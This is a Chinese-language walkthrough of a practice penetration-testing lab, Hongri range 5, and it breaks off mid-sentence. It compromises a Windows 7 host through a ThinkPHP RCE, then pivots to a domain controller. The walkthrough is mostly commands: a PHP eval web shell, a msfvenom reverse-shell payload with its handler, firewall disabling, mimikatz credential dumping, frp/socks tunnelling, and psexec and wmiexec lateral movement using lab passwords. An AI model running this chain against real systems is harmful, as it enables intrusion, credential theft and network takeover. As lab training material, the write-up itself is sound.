红日靶场5
信息摘要
虚拟机密码以及IP
win7
sun\heart 123.com
sun\Administrator dc123.comnet1:192.168.135.150
net2:192.168.138.136
win2008
原账户密码:sun\admin 2020.com
更改后:Asd!23Qwenet1:192.168.138.138
攻击机
ip:192.168.135.3
测试过程
启动win7靶机的服务Administrator/dc123.com
查看端口开放情况
nmap -sS -p 1-65535 -A 192.168.135.150
访问web,发现是thinkphp框架,试试能不能用工具一把梭哈
直接RCE吧,先在哥斯拉上线然后进行文件落地msf进行上线
echo ^<?php @eval($_POST["cmd"]); ?^> > shell.php
成功写入,上线蚁剑/哥斯拉。msf生成木马,并开启监听,等待上线
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.135.3 LPORT=54431 -f exe >1.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.135.3
set LPORT 54431
run
进程迁移至system权限
emmm…迁移进程的时候尽量往大的进行迁移。。。刚刚给受控机弄掉线了哈哈哈哈哈…如图掉线过一次
如图,迁移至比进程大的pid,我一开始直接迁移至第一个NT权限的pid直接就是下线了
小插曲
在迁移进程后总是掉线,所以我先进行shell进入system,然后再找到1.exe,随后再执行就是system权限了,这样那个会话就不会掉了
可以看到下面会话就是system权限了,如果有其他方便的方法勿喷,我是小白希望大佬可以指出
在先前的信息收集测试的时候发现受控机开启了防火墙,所以先进行关闭防火墙
NetSh Advfirewall set allprofiles state off
关闭成功。
内网渗透
进行信息基础收集
ipconfig /all
随后添加路由进行设置代理,进行内网横向
route add 192.168.138.0/24 5
使用msf自带模块建立代理
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 5
run -j #推荐此参数可以进行后台运行不耽误本地进行其他操作
进行利用nmap探测
proxychains nmap -sn -T4 192.168.138.0/24
出不了结果,小白表示不是很懂。。。随后ping域名获取到了192.168.138.138
主机,但是实战的话应该如何获取所有主机ip呢?
试着上传fscan,然后进行端口和主机存活探测
fscan -h 192.168.138.2-254 -p 1-65535 -pg
总算是解决了主机存活检测和端口开放检测问题,虽然效率比较慢。。。而且上传文件动静也比较大
[1m59s] [*] 端口开放 192.168.138.138:88
[1m59s] [*] 端口开放 192.168.138.138:53
[1m59s] [*] 端口开放 192.168.138.138:139
[1m59s] [*] 端口开放 192.168.138.138:135
[1m59s] [*] 端口开放 192.168.138.138:464
[1m59s] [*] 端口开放 192.168.138.138:445
[1m59s] [*] 端口开放 192.168.138.138:389
[2m0s] [*] 端口开放 192.168.138.138:593
[2m2s] [*] 端口开放 192.168.138.138:636
[2m14s] [*] 端口开放 192.168.138.138:3269
[2m14s] [*] 端口开放 192.168.138.138:3268
[6m3s] [*] 端口开放 192.168.138.138:49161
[6m3s] [*] 端口开放 192.168.138.138:49158
[6m3s] [*] 端口开放 192.168.138.138:49157
[6m3s] [*] 端口开放 192.168.138.138:49155
[6m3s] [*] 端口开放 192.168.138.138:49154
[6m3s] [*] 端口开放 192.168.138.138:49173
开放了445端口并且fscan也扫描出ms17漏洞,所有可以尝试ms17,先加载mimikatz获取凭证
load kiwi
creds_all # 提取域账户NTLM哈希
use exploit/windows/smb/psexec
set RHOSTS 192.168.138.138
set SMBDomain SUN
set SMBUser admin
set SMBPass Asd!23Qwe
set payload windows/meterpreter/bind_tcp
unset LHOST
set LPORT 54456
set COMMAND 'netsh advfirewall set allprofiles state off'
run
使用反向连接 + 代理穿透(更适合内网环境)
use exploit/windows/smb/psexec# 设置目标参数
set RHOSTS 192.168.138.138
set SMBDomain SUN
set SMBUser admin
set SMBPass Asd!23Qwe# 设置反向连接 + 代理
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.135.3
set LPORT 4444
set Proxies socks5:127.0.0.1:1080 # 使用已建立的代理
run
上传frp,这边用的是蚁剑上传的不知道为什么Godzilla上传不成功。将frpc.exe和配置文件frpc.toml进行上传
frp使用方法
客户端:
frpc.toml
frpc.exe -c frpc.ini
服务端:
./frps -c ./frps.toml
刷新路由表
route flush
配置Metasploit使用Socks5代理
setg Proxies socks5:192.168.135.3:8989 # 设置全局代理setg Proxies socks5:127.0.0.1:8989
setg ReverseAllowProxy true # 允许反向代理
creds_all
vi etc/proxychains4.confsocks 127.0.0.1 8989
使用impacket-wmiexec
proxychains impacket-wmiexec sun/administrator:dc123.com@192.168.138.138
关闭防火墙
NetSh Advfirewall set allprofiles state off
总结
阶段1:建立穿透隧道 (FRP)
基本流程差不多就是kali攻击机先进行了thinkphp的RCE,然后msf落地,通过控制靶机win7作为跳板机,利用frp进行内网穿透+横向移动
frp工作基本流程:
frpc.ini 配置解析
[common]
server_addr = 192.168.135.3 # 攻击机IP
server_port = 7000 # 攻击机监听端口[socks5]
type = tcp
remote_port = 8989 # 在攻击机开放的代理端口
plugin = socks5 # 开启socks5代理服务
阶段2:配置代理环境
在msf中配置以下内容
# Metasploit全局代理
setg Proxies socks5:127.0.0.1:8989 # 所有流量走FRP隧道
setg ReverseAllowProxy true # 允许反向连接# proxychains配置
echo "socks5 127.0.0.1 8989" >> /etc/proxychains4.conf
通过以上建立的代理链为以下:
阶段3:横向移动攻击
proxychains impacket-wmiexec sun/administrator:dc123.com@192.168.138.138
执行时的真实路径
通过Windows WMI服务(135端口)在目标主机上执行命令,实现: